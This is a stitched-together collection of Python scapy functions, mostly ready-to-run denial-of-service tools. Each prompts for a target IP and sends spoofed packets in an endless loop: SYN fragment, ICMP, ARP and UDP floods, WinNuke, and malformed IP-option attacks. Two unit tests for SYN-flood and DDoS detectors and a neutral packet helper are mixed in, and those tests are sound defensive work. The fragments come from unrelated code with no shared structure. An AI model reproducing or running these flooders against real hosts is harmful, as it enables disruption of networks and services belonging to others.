def get_tcp_packet(sip=None, dip=None, sport=None, dport=None, pkt_len=60): eth = scapy.Ether(src=scapy.RandMAC()._fix(), dst=scapy.RandMAC()._fix()) ip = scapy.IP(src=sip if sip else scapy.RandIP()._fix(), dst=dip if dip else scapy.RandIP()._fix()) tcp = scapy.TCP(sport=sport if sport else random.randrange(pow(2, 16)), dport=dport if dport else random.randrange(pow(2, 16))) header = eth / ip / tcp payload = '0' * (pkt_len - len(header)) return header / payload
def Syn_fragment(): clear = os.system('clear') print("**************************************") print(" SYN FragmentAttack") print("**************************************") print("Please input your target's IP") dst_ip = input("[SYN Fragment]#") src_ip = scapy.RandIP() #zidong sheng cheng yuan duankou he mudi duankou src_port = scapy.RandShort() dst_port = scapy.RandShort() packet_number = 0 try: while True: packet = scapy.IP(src=src_ip, dst=dst_ip, flags=[ 0x2000 ], frag=1) / scapy.TCP(dport=80, flags="S") / ("X" * 6000) #packet = scapy.IP(dst=dst_ip,flags=[0x2000],frag=1)/scapy.TCP(dport=80,flags="F")/("X"*6000) scapy.send(packet, verbose=False) packet_number += 1 print("[+]Sent packet is " + str(packet_number)) except KeyboardInterrupt: print("[-]Ctrl + C detected ....")
def IP_Data_Flow(): clear = os.system('clear') print("**************************************") print(" IP_Flow") print("**************************************") print("Please input your target's IP") target = input("[IP_Flow]#") src_ip = scapy.RandIP() num = 0 try: while True: packet = scapy.IP(src=src_ip, dst=target, options=[ scapy.IPOption_Stream_Id(copy_flag=1), scapy.IPOption_EOL(), scapy.IPOption_EOL() ]) / scapy.ICMP() scapy.send(packet, verbose=False) num += 1 print("Sent" + str(num) + "packets") except KeyboardInterrupt: print("Ctrl + C detected ......")
def FIN_SYN_One(): clear = os.system('clear') print("**************************************") print(" FIN_SYN_one_Attack") print("**************************************") print("please input your attack target's IP") target = input("[FIN_SYN_one]#") src_ip = scapy.RandIP() attack_number = 0 try: while True: packet = scapy.IP(src=src_ip, dst=target) / scapy.TCP(flags=[0x003]) scapy.send(packet, verbose=False) attack_number += 1 print("[+]Sent " + str(attack_number) + " packets ") except KeyboardInterrupt: print("[-]Ctrl + C detected.....")
def IP_Route(): clear = os.system('clear') print("**************************************") print(" IP_Record_Route") print("**************************************") print("Please input your target's IP") target = input("[IP_Record_Route]#") src_ip = scapy.RandIP() num = 0 try: while True: packet = scapy.IP( src=src_ip, dst=target, ttl=128, options=scapy.IPOption_RR( copy_flag=0, length=39, routers=[ '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0' ])) / scapy.ICMP() / scapy.Raw( load=b'abcdefghijklmnopqrstuvwabcdefghi') scapy.send(packet, verbose=False) num += 1 print("Sent " + str(num) + "packets") except KeyboardInterrupt: print("Ctrl + C detected......")
def ICMP_Flood(name): num = 0 try: while True: packet = scapy.IP(src=scapy.RandIP(), dst=target) / scapy.ICMP() scapy.send(packet, count=1500, verbose=False) num += 1 print("Process:%s,Attack:%s" % (name, num)) except KeyboardInterrupt: print("Go back")
def IP_Scan(name): num =0 dst_ip = scapy.RandIP() #src_ip ="123.123.123."+str(name) try: while True: packet = scapy.IP(dst=dst_ip)/scapy.ICMP() scapy.send(packet,count=1500,verbose=False) num +=1 print("Process:%s,Attack:%s"%(name,num)) except KeyboardInterrupt: print("Go back")
def test_calc_intrusion(self, mock_log, mock_time): """ Test calc_intrusion. """ mock_time.return_value = 11 # Replicate a non attack SYN packet flow for _ in range(10): self.syn_flood.syn_dict[str(scapy.RandIP())] = { "start_time": 10, "count": 1 } self.syn_flood.calc_intrusion() self.assertFalse(mock_log.called) # Replicate a SYN Flood attack for _ in range(2000): self.syn_flood.syn_dict[str(scapy.RandIP())] = { "start_time": 10, "count": 1 } self.syn_flood.calc_intrusion() mock_log.assert_called_with("Possible SYN flood attack detected.", logtype="warning")
def test_detect_mimp(self, mock_log): """ Test detect_mimp. """ # Replicate attack for _ in range(20000): ip = str(scapy.RandIP()) self.ddos.simp[ip] = { "count": 1, "start_time": 10, "ports": [80, 90] } self.ddos.detect_mimp() mock_log.assert_called_with("Possible Multiple IP Multiple Port DDoS attack detected", logtype="warning")
def Wrong_IP(): clear = os.system('clear') print("**************************************") print(" Incorrect IP option") print("**************************************") print("Please input your target's IP") target = input("[Incorrect IP Option]#") num = 0 try: while True: packet = scapy.IP(src=scapy.RandIP(),dst=target,options=[scapy.IPOption_SSRR(length=2),scapy.IPOption_EOL()])/scapy.ICMP() scapy.send(packet,verbose=False) num +=1 print("Sent "+str(num)+" packets") except KeyboardInterrupt: print("quit!")
def flood_keepalive(limit=4200000, dst='localhost'): import scapy.all as scapy import struct port = 4242 magic_number = b'RC' v, type_, ext = 0x09, 2, 0 src = scapy.RandIP() payload = b'' payload += struct.pack('<2s', magic_number) payload += struct.pack('<BBBBH', v, v, v, type_, ext) for i in range(8): payload += struct.pack('<16s', b'127.0.0.1') payload += struct.pack('<H', 4242) for i in range(limit): ip = scapy.IP(src=str(src), dst=dst) udp = scapy.UDP(sport=(port + i) % 65535, dport=port) spoofed_packet = ip / udp / payload scapy.send(spoofed_packet, iface="lo0", verbose=False)
def Ping_attack(): clear = os.system('clear') print("**************************************") print(" Super ICMP_Attack") print("**************************************") print("please input your attack target's IP") target = input("[Super ICMP_attack]#") srcip = scapy.RandIP() attack_numbers=0 try: while True: packet = scapy.fragment(scapy.IP(src=srcip,dst=target)/scapy.ICMP()/("X"*2000)) scapy.send(packet,verbose=False) attack_numbers += 1 print("[+]Attack Number is "+str(attack_numbers)) time.sleep(2) except KeyboardInterrupt: print("[-]Ctrl + C detected.....")
def IP_Strict_Route(): clear = os.system('clear') print("**************************************") print(" IP Strict Route") print("**************************************") print("Please input your target's IP") target = input("[Strict_Route]#") num = 0 try: while True: packet = scapy.IP( src=scapy.RandIP(), dst=target, options=[scapy.IPOption_SSRR(), scapy.IPOption_EOL()]) / scapy.ICMP() scapy.send(packet, verbose=False) num += 1 print("Sent " + str(num) + " packets") except KeyboardInterrupt: print("quit!")
def UnProtoType(): clear = os.system('clear') print("**************************************") print(" Unknow Proto Type Attack") print("**************************************") print("Please input your target's IP") target = input("[UnProtoAttack]#") srcip = scapy.RandIP() packet_num = 0 try: while True: packet = scapy.IP(src=srcip, dst=target, proto=150) / scapy.TCP(dport=80) scapy.send(packet, verbose=False) packet_num += 1 print("[+]Sent packet is " + str(packet_num)) except KeyboardInterrupt: print("[-]Ctrl +C detected ...")
def IP_Data(): clear = os.system('clear') src_ip = scapy.RandIP() print("**************************************") print(" IP_Data Attack") print("**************************************") print("Please input your target's IP") target = input("[IP_Data Attack]#") num = 0 try: while True: packet = scapy.IP( src=src_ip, dst=target, flags="DF", frag=100, ttl=255) / scapy.UDP(dport=5060) / ("X" * 600) #packet2 = scapy.IP(src=src_ip,dst=target,flags="MF",frag=0,ttl=255)/scapy.UDP(dport=5060)/("X"*600) scapy.send(packet, verbose=False) #scapy.send(packet2,verbose=False) num += 1 print("[+]Sent " + str(num) + "packets") except KeyboardInterrupt: print("[-]Ctrl + C detected.....")
def Arp_flood(): clear = os.system('clear') print("**************************************") print(" ARP_Flood") print("**************************************") print("Tip:Can not attack across network segments!!") print("--------------------------------------------------") print("Please input target's IP") target = input("[ARP_Flood]#") attack_number = 0 try: while True: packet = scapy.Ether(dst="FF:FF:FF:FF:FF:FF") / scapy.ARP( psrc=scapy.RandIP(), pdst=target) print("Flooding.....") scapy.srpflood(packet) time.sleep(1) except KeyboardInterrupt: print("[-]Ctrl + C detected.....")
def WinNuke(): clear = os.system('clear') print("**************************************") print(" WinNuke Attack") print("**************************************") print("Please input your target's IP") target = input("[WinNuke Attack]#") num = 0 try: while True: packetss = scapy.IP(src=scapy.RandIP(), dst=target) / scapy.TCP( sport=scapy.RandShort(), dport=[139, 138, 137], flags=0x020, seq=1, window=512) scapy.send(packetss, verbose=False) num += 1 print("Sent " + str(num) + "packets") except KeyboardInterrupt: print("[-] Ctrl + C detected.......")
def IP_TimeStamp(): clear = os.system('clear') print("**************************************") print(" IP_TimeStamp") print("**************************************") print("Please input your target's IP ") target = input("[IP_TimeStamp]# ") src_ip = scapy.RandIP() num = 0 try: while True: packet = scapy.IP( src=src_ip, dst=target, options=[ scapy.IPOption( optclass='debug', length=36, option='timestamp', value= b'\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ), scapy.IPOption_EOL(), scapy.IPOption_EOL(), scapy.IPOption_EOL(), scapy.IPOption_EOL() ]) / scapy.ICMP() / scapy.Raw( load=b'abcdefghijklmnopqrstuvwabcdefghi') scapy.send(packet, verbose=False) num += 1 print("sent" + str(num) + "packets") except KeyboardInterrupt: print("quit")
import time import scapy.all as scapy starttime = time.time() while True: scapy.sendp( scapy.Ether(dst='ff:ff:ff:ff:ff:ff', src='08:00:27:24:32:1f') / scapy.IP(src=str(scapy.RandIP()), dst=str(scapy.RandIP())) / scapy.TCP(sport=2321, dport=23423, flags='R', options=[('Timestamp', (0, 0))])) time.sleep(1)